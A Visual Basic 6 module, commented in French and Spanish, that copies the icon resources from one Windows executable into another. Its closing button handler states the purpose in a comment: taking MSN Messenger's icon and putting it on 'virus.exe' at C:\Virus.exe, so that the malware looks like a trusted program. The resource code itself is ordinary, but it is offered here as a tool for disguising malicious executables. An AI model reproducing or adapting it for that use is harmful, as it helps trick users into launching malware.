Option Explicit
'modificado by LIA 14/04/07
Private Type ICONDIRENTRY
   bWidth As Byte               '// Width of the image
   bHeight As Byte              '// Height of the image (times 2)
   bColorCount As Byte          '// Number of colors in image (0 if >=8bpp)
   bReserved As Byte            '// Reserved
   wPlanes As Integer           '// Color Planes
   wBitCount As Integer         '// Bits per pixel
   dwBytesInRes As Long         '// how many bytes in this resource?
   dwImageOffset As Long        '// where in the file is this image
End Type

Private Type ICONDIR
   idReserved As Integer   '// Reserved
   idType As Integer       '// resource type (1 for icons)
   idCount As Integer      '// how many images?
   'idEntries() as ICONDIRENTRY array follows.
End Type

Private Type tBits
   bBits() As Byte
End Type

Private Type IcoExe
    IcoDir As ICONDIR
    Entries() As ICONDIRENTRY
End Type

Private Type Ico
    IcoDir As ICONDIR 'entete
    Entries() As ICONDIRENTRY 'decrit chaque icone
    IcoData() As tBits 'données
End Type



Private Type MEMICONDIRENTRY
   bWidth As Byte               '// Width of the image
   bHeight As Byte              '// Height of the image (times 2)
   bColorCount As Byte          '// Number of colors in image (0 if >=8bpp)
   bReserved As Byte            '// Reserved
   wPlanes As Integer           '// Color Planes
   wBitCount As Integer         '// Bits per pixel
   dwBytesInRes As Long         '// how many bytes in this resource?
   nID As Integer               '// the ID
End Type


Private Const IMAGE_ICON = 1


' File read/write through Win32.  Declares are modified from the VB versions to allow null to be passed to lpSecurityAttributes and lpOverlapped:
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const CREATE_ALWAYS = 2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const INVALID_HANDLE_VALUE = -1
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Const FILE_BEGIN = 0

' Resource functions:
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long

Private Const LOAD_LIBRARY_AS_DATAFILE = &H2&
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, lpName As Any, lpType As Any) As Long
Private Declare Function SizeofResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function FreeResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Function EnumResourceNamesByNum Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long

Private Const RT_ICON = 3
Private Const DIFFERENCE = 11
Private Const RT_GROUP_ICON = RT_ICON + DIFFERENCE



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
    lpvDest As Any, lpvSource As Any, ByVal cbCopy As Long)


Private m_sFile As String
Private m_vID As Variant
Private m_tID As ICONDIR
Private m_tIDE() As ICONDIRENTRY
Private m_tBits() As tBits
Private m_VName As Variant
Public Function RemplaceIcons(Source As String, Dest As String) As Boolean

Dim m_hMod As Long

If Not CanWrite(Dest) Then Exit Function



m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod

If (VarType(m_VName) = vbLong) Then
    LoadIconFromEXE Source, m_VName
Else
    LoadIconFromEXE Source, , m_VName
End If
        
SaveIcon "c:\" & m_VName & ".ico"
        
m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod

If ReplaceIcoInExe(Dest, "c:\" & m_VName & ".ico", 1, m_VName, 0) Then
    RemplaceIcons = True
End If


End Function

Private Function CanWrite(File As String) As Boolean
On Local Error GoTo Denegar
Dim FF As Integer
FF = FreeFile
Open File For Binary Access Write As #1
Close
CanWrite = True
Exit Function:
Denegar:
End Function

Private Function LoadIconFromEXE( _
      ByVal sFile As String, _
      Optional ByVal lpID As Long = 0, _
      Optional ByVal lpName As String = "" _
   ) As Boolean
Dim hLibrary As Long
Dim hRsrc As Long
Dim hGlobal As Long
Dim lPtr As Long
Dim iEntry As Long
Dim tMIDE As MEMICONDIRENTRY
Dim nID() As Integer
Dim iBaseOffset As Long
Dim lSize As Long
Dim bFail As Boolean

   ' Loads an Icon from an Executable (EXE, DLL etc).  Use the EnumResources module
   ' to determine the available resource IDs.

   m_sFile = sFile
   m_vID = Empty
   Erase m_tIDE
   Erase m_tBits
   
   With m_tID
      .idCount = 0
      .idReserved = 0
      .idType = 0
   End With
   

   hLibrary = LoadLibraryEx(sFile, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
   If (hLibrary = 0) Then
      ' Failed to load the executable. Probably not a Win32 EXE.
      'Err.Raise vbObjectError + 1048 + 6, App.EXEName & ".cFileIcon", "Can't load library."
      LoadIconFromEXE = False
   Else
      ' Find the resource:
      If (lpID <> 0) Then
         lpName = "#" & CStr(lpID)
         hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
         m_vID = lpID
      Else
         hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
         m_vID = lpName
      End If
      If (hRsrc = 0) Then
         ' Resource not found in this library:
         'Err.Raise vbObjectError + 1048 + 7, App.EXEName & ".cFileIcon", "Can't find resource."
         LoadIconFromEXE = False
      Else
         ' Load the resource (returns a handle which can be used to access the data):
         hGlobal = LoadResource(hLibrary, hRsrc)
         If (hGlobal = 0) Then
            'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't load resource."
            LoadIconFromEXE = False
         Else
            ' Lock the resource for reading (returns a pointer to the resource data):
            lPtr = LockResource(hGlobal)
            If (lPtr = 0) Then
               'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't lock resource."
               LoadIconFromEXE = False
            Else
               ' Get the icon header:
               CopyMemory m_tID, ByVal lPtr, Len(m_tID)
               Debug.Print m_tID.idCount, m_tID.idReserved, m_tID.idType
               
               ' Do we have icons in this resource?
               If (m_tID.idCount > 0) Then
                  
                  ' For each of the entries, get the icon directory information:
                  ReDim m_tIDE(0 To m_tID.idCount - 1) As ICONDIRENTRY
                  ReDim nID(0 To m_tID.idCount - 1) As Integer
                  
                  ' Get all the directory information into a byte array (to avoid
                  ' problems with WORD alignment of structures):
                  ReDim b(0 To Len(m_tID) + Len(tMIDE) * m_tID.idCount - 1) As Byte
                  CopyMemory b(0), ByVal lPtr, Len(m_tID) + Len(tMIDE) * m_tID.idCount
                  
                  ' Loop through the entries, getting the IDs and creating a standard
                  ' ICONDIRENTRY structure:
                  For iEntry = 0 To m_tID.idCount - 1
                     ' Get the MEMICONDIRENTRY structure:
                     CopyMemory tMIDE, b(Len(m_tID) + iEntry * Len(tMIDE)), Len(tMIDE)
                     ' Store the icon's resource id:
                     nID(iEntry) = tMIDE.nID
                     ' Copy data into standard ICONDIRENTRY structure.  Note the .dwImageOffset
                     ' member will be wrong at this stage:
                     CopyMemory m_tIDE(iEntry), tMIDE, Len(tMIDE)
                  Next iEntry
                  
                  ' Now correct the ICONDIRENTRY byte offsets:
                  iBaseOffset = Len(m_tID) + Len(m_tIDE(0)) * m_tID.idCount
                  m_tIDE(0).dwImageOffset = iBaseOffset
                  For iEntry = 1 To m_tID.idCount - 1
                     m_tIDE(iEntry).dwImageOffset = m_tIDE(iEntry - 1).dwImageOffset + m_tIDE(iEntry - 1).dwBytesInRes
                  Next iEntry
                  
                  ' Now we have the ICONDIRENTRY structures, get the actual bits of the icons:
                  ReDim m_tBits(0 To m_tID.idCount - 1) As tBits
                  For iEntry = 0 To m_tID.idCount - 1
                     ' Load the icon with the specified resource ID:
                     lpName = "#" & nID(iEntry)
                     hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_ICON)
                     If (hRsrc = 0) Then
                        bFail = True
                        Exit For
                     Else
                        ' Load the resource:
                        hGlobal = LoadResource(hLibrary, hRsrc)
                        If (hGlobal = 0) Then
                           bFail = True
                           Exit For
                        Else
                           ' Determine the size of the resource:
                           lSize = SizeofResource(hLibrary, hRsrc)
                           ' If the size is valid:
                           If (lSize > 0) And (lSize = m_tIDE(iEntry).dwBytesInRes) Then
                              ' Lock the resource and get a pointer to the memory:
                              lPtr = LockResource(hGlobal)
                              If (lPtr = 0) Then
                                 bFail = True
                                 Exit For
                              Else
                                 ' Store this memory in the bitmap bits array:
                                 ReDim Preserve m_tBits(iEntry).bBits(0 To lSize - 1) As Byte
                                 CopyMemory m_tBits(iEntry).bBits(0), ByVal lPtr, lSize
                              End If
                           Else
                              bFail = True
                           End If
                        End If
                     End If
                  Next iEntry

                  ' Did we succeed?
                  If (bFail) Then
                     'Err.Raise vbObjectError + 1048 + 9, App.EXEName & ".cFileIcon", "Failed to read bitmap bits from resource."
                     ' ensure clear:
                     sFile = ""
                     Erase m_tIDE
                     Erase m_tBits
                     m_tID.idCount = 0
                     m_vID = Empty
                  End If
                  LoadIconFromEXE = Not (bFail)
                                       
               End If
               
            End If
         End If
      End If
      
      ' Free library:
      FreeLibrary hLibrary
   End If
      
End Function


Private Function SaveIcon( _
      Optional ByVal sFileName As String = "" _
   ) As Boolean
Dim hFile As Long
Dim dwBytesWritten As Long
Dim iEntry As Long
Dim bFail As Boolean
   
   ' General error checking:
   If (m_sFile = "") Then
      If (sFileName = "") Then
         'Err.Raise vbObjectError + 1048 + 3, App.EXEName & ".cFileIcon", "No filename specified."
         Exit Function
      End If
   End If
   If (m_tID.idCount = 0) Then
      'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Icon contains no images."
      Exit Function
   End If
   
   ' Now start writing:
   If (sFileName <> "") Then
      m_sFile = sFileName
   End If
   
   ' Open the file for write:
   hFile = CreateFile(m_sFile, GENERIC_WRITE, 0, ByVal 0&, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, ByVal 0&)
   If (hFile = INVALID_HANDLE_VALUE) Then
      'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Couldn't open file for writing."
   Else
      ' Write the header:
      WriteFile hFile, m_tID, Len(m_tID), dwBytesWritten, ByVal 0&
      If (dwBytesWritten = Len(m_tID)) Then
         ' Write the ICONDIRENTRY structures:
         For iEntry = 0 To m_tID.idCount - 1
            WriteFile hFile, m_tIDE(iEntry), Len(m_tIDE(iEntry)), dwBytesWritten, ByVal 0&
            If (dwBytesWritten <> Len(m_tIDE(iEntry))) Then
               bFail = True
               Exit For
            End If
         Next iEntry
         ' Write the icon bits:
         If Not (bFail) Then
            For iEntry = 0 To m_tID.idCount - 1
               WriteFile hFile, m_tBits(iEntry).bBits(0), m_tIDE(iEntry).dwBytesInRes, dwBytesWritten, ByVal 0&
               If (m_tIDE(iEntry).dwBytesInRes <> dwBytesWritten) Then
                  bFail = True
                  Exit For
               End If
            Next iEntry
         End If
      Else
         bFail = True
      End If
      
      ' Close the file:
      CloseHandle hFile
      
      ' Did we succeed?
      If (bFail) Then
         'Err.Raise vbObjectError + 1048 + 5, App.EXEName & ".cFileIcon", "General failure writing icon."
      End If
      SaveIcon = Not (bFail)
   End If

End Function


Private Function OpenIconFile(Filename As String) As Ico
Dim t As Ico 'structure temporaire
Dim X As Long 'compteur

'on ouvre le fichier
Open Filename For Binary As #1
    'on récupère l'entete du fichier
    Get #1, , t.IcoDir
    
    'redimensionne au nombre d'icones
    ReDim t.Entries(0 To t.IcoDir.idCount - 1)
    ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
    
    'pour chaque icones
    For X = 0 To t.IcoDir.idCount - 1
        'récupère l'entete de l'icone
        Get #1, 6 + 16 * X + 1, t.Entries(X)
        'redimensionne à la taille des données
        ReDim t.IcoData(X).bBits(t.Entries(X).dwBytesInRes - 1)
        'récupère les données
        Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).bBits
    Next
'ferme le fichier
Close #1
'renvoie les données
OpenIconFile = t
End Function


Private Function MakeIcoExe(IconFile As Ico, IDBase As Long) As IcoExe
Dim t As IcoExe 'structure temporaire
Dim X As Long 'compteur

'nombre d'icones
t.IcoDir.idCount = IconFile.IcoDir.idCount
'type : Icone = 1
t.IcoDir.idType = 1
'chaque entrée
ReDim t.Entries(IconFile.IcoDir.idCount - 1)

'pour chaque entrée
For X = 0 To t.IcoDir.idCount - 1
    'entete d'icones
    t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
    t.Entries(X).bHeight = IconFile.Entries(X).bHeight
    t.Entries(X).bReserved = IconFile.Entries(X).bReserved
    t.Entries(X).bWidth = IconFile.Entries(X).bWidth
    t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
    t.Entries(X).dwImageOffset = X + IDBase
    t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
    t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
Next
'renvoie la structure
MakeIcoExe = t
End Function


Private Function ReplaceIcoInExe(Filename As String, sFile As String, BaseID As Long, GroupID As Variant, LangID As Long) As Boolean
Dim hWrite As Long 'handle de modification
Dim Exe As IcoExe 'structure de ressource icone
Dim ret As Long 'valeur de retour
Dim X As Long 'compteur
Dim D() As Byte 'buffer
Dim IcoFile As Ico

IcoFile = OpenIconFile(sFile)



'obtient un handle de modification
hWrite = BeginUpdateResource(Filename, 0)

'si échec, on quitte
If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon, on lit l'icone
Exe = MakeIcoExe(IcoFile, BaseID)

'on redimmensionne le buffer
ReDim D(6 + 14 * Exe.IcoDir.idCount)
'on copie les données dans le buffer
CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6

'pour chaque icone
For X = 0 To Exe.IcoDir.idCount - 1
    'on copie les données
    CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
Next

'on met à jour la ressource groupe icone
ret = UpdateResource(hWrite, RT_GROUP_ICON, GroupID, LangID, ByVal VarPtr(D(0)), UBound(D))

'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function

'on met à jour chaque ressource icone
For X = 0 To Exe.IcoDir.idCount - 1
    ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwImageOffset, LangID, ByVal VarPtr(IcoFile.IcoData(X).bBits(0)), Exe.Entries(X).dwBytesInRes)
Next

'on enregsitre dans le fichier executable
ret = EndUpdateResource(hWrite, 0)
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon succès
ReplaceIcoInExe = True
End Function

Public Function EnumResNamesProc( _
      ByVal hMod As Long, _
      ByVal lpszType As Long, _
      ByVal lpszName As Long, _
      ByVal lParam As Long _
   ) As Long
   
Dim b() As Byte, lLen As Long

   If (lpszName And &HFFFF0000) = 0 Then
      m_VName = lpszName And &HFFFF&
   Else
      lLen = lstrlen(lpszName)
      If (lLen > 0) Then
         ReDim b(0 To lLen - 1) As Byte
         CopyMemory b(0), ByVal lpszName, lLen
         m_VName = StrConv(b, vbUnicode)
      End If

   End If

End Function

Private Sub Command1_Click()
'la primera es a la que se le quiere sacar el icono por ejemplo MsnMesenger
'y la segunda a la que se lo vamos a agregar osea virus.exe
 MsgBox RemplaceIcons("C:\Archivos de programa\MSN Messenger\msnmsgr.exe", "C:\Virus.exe")
End Sub